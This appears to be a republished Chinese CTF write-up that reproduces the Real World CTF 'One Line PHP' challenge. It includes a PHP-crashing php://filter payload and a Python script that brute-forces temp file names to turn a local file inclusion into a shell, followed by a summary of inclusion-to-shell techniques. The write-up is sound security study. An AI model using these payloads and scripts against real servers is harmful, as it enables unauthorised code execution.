Real World CTF Of "The Return of One Line PHP Challenge"

栏目: PHP · 发布时间: 5年前

内容简介:被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。这次RW线下出了一道名为

Real World CTF Of

前言

被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。

这次RW线下出了一道名为 The Return of One Line PHP Challenge 的web题,题目描述翻译如下

Real World CTF Of

源码和环境跟HITCON2018中orange大佬出的 One Line PHP Challenge 题目源码一模一样。只不过关闭了当时预期解所用到的 session.upload 。很明显就是把当时的非预期解拿出来出了一道题。orz!!!

比赛结束当天就已经给了官方wp:利用了 php 的内存漏洞,使php挂掉,上传大量临时文件,然后爆破临时文件名getshell。在这里复现一下。

题目

描述:What happens if I turn off session.upload? This challenge is almost identical to HITCON CTF 2018’s challenge One Line PHP Challenge (Tribute to orange). Plz read the docker file and show me your shell.

Dockerfile:

FROM ubuntu:18.04


COPY flag /flag

RUN apt-get update
RUN apt-get -y install tzdata
RUN apt-get -y install php
RUN apt-get -y install apache2
RUN apt-get -y install libapache2-mod-php

RUN rm /var/www/html/index.html
RUN mv /flag `cat /flag`

RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/apache2/php.ini
RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/cli/php.ini

RUN echo 'PD9waHAKICAoJF89QCRfR0VUWydvcmFuZ2UnXSkgJiYgQHN1YnN0cihmaWxlKCRfKVswXSwwLDYpID09PSAnQDw/cGhwJyA/IGluY2x1ZGUoJF8pIDogaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOw==' | base64 -d > /var/www/html/index.php
RUN chmod -R 755 /var/www/html

CMD service apache2 start & tail -F /var/log/apache2/access.log

源码

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

我们要通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出前6个字符和 @<?php 比对,如果相同则包含这个文件。

回想One Line PHP Challenge

网上已有很多关于这道题的详解,例如: HITCON2018-One Line PHP Challenge ,这里我只简单理一下思路。

HITCON2018中此题的预期思路为:利用session.upload,我们POST一个与INI中设置的session.upload progress.name同名变量且在cookie中带上PHPSESSID,服务器就会根据我们这个 PHPSESSID 在session 文件的默认存放位置生成一个文件名为 sess__ + PHPSESSID 的session 文件(无论服务端PHP有没有开session )。内容格式为php.ini中 session.upload_progress.prefix的值 + 变量PHP_SESSION_UPLOAD_PROGRESS的值 + 一些与上传进度文件有关的序列化值

例如

Real World CTF Of

Real World CTF Of

然后利用php过滤器,将文件内容前面的`upload_progress 过滤为空,即可绕过 @<?php`成功getshell。具体可以参考K0rz3n师傅的文章 : 关于One-line-php-challenge的思考

解题过程

php临时文件

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符])。这个临时文件,在请求结束后就会被删除。

虽然可以将数据包的各个位置塞满垃圾数据,延长临时文件被删除的时间,然后对文件名进行爆破getshell。但是不得不说碰撞成功的概率不是一般的低。

php崩溃漏洞

当我们向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,此时我们所POST缓存文件就会被保留。

之前王一航师傅发现过一个可PHP < 7.2异常退出的bug,详情: https://www.jianshu.com/p/dfd049924258。但是这里的环境为php7.2。

这道题的官方出题人发现了一个通杀php7全版本的PHP内存漏洞,可以使PHP异常退出。详情可见wp: HackMD – Collaborative markdown notes

POC

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

利用这个漏洞我们可以POST大量缓存文件来提高我们爆破文件名的成功率,进而getshell。

我利用题目所给的dockerfile在虚拟机中启了一个 docker 环境。

构造数据包

Real World CTF Of

进入容器查看,发现缓存文件成功保存。

Real World CTF Of

利用burp多线程POST大量缓存文件。(小技巧: 每次请求可以发送20个文件)

Real World CTF Of

Real World CTF Of

利用脚本爆破文件名,getshell。

这里贴上王一航师傅的写的爆破脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.1.9"
port = 8000
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/index.php?orange=/tmp/php%s" % (
                                base_url, filename)
                            print url
                            try:
                                response = requests.get(url)
                                if 'flag' in response.content:
                                    print "[+] Include success!"
                                    return True
                            except Exception as e:
                                print e
    return False

def main():
    brute_force_tmp_files()

if __name__ == "__main__":
    main()

爆破文件名成功

Real World CTF Of

getshell

Real World CTF Of

总结

ORZ,仅仅两行代码就可以从中学到这么多东西,不得不膜。

另外p牛也在小密圈总结了,这个题目在实战中有很多应用场景。最常见的就是:当一个目标存在任意文件包含漏洞的时候,你却找不到可以包含的文件,无法getshell。可以有三种方法:

1、借用phpinfo,包含临时文件来getshell,

2、 利用PHP_SESSION_UPLOAD_PROGRESS,包含session文件来getshell

3、也就是本文所写的,利用一个可以使PHP挂掉的漏洞(如内存漏洞等),使PHP停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来getshell。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

首席产品官1 从新手到行家

首席产品官1 从新手到行家

车马 / 机械工业出版社 / 2018-9-25 / 79

《首席产品官》共2册,旨在为产品新人成长为产品行家,产品白领成长为产品金领,最后成长为首席产品官(CPO)提供产品认知、能力体系、成长方法三个维度的全方位指导。 作者在互联网领域从业近20年,是中国早期的互联网产品经理,曾是周鸿祎旗下“3721”的产品经理,担任CPO和CEO多年。作者将自己多年来的产品经验体系化,锤炼出了“产品人的能力杠铃模型”(简称“杠铃模型”),简洁、直观、兼容性好、实......一起来看看 《首席产品官1 从新手到行家》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具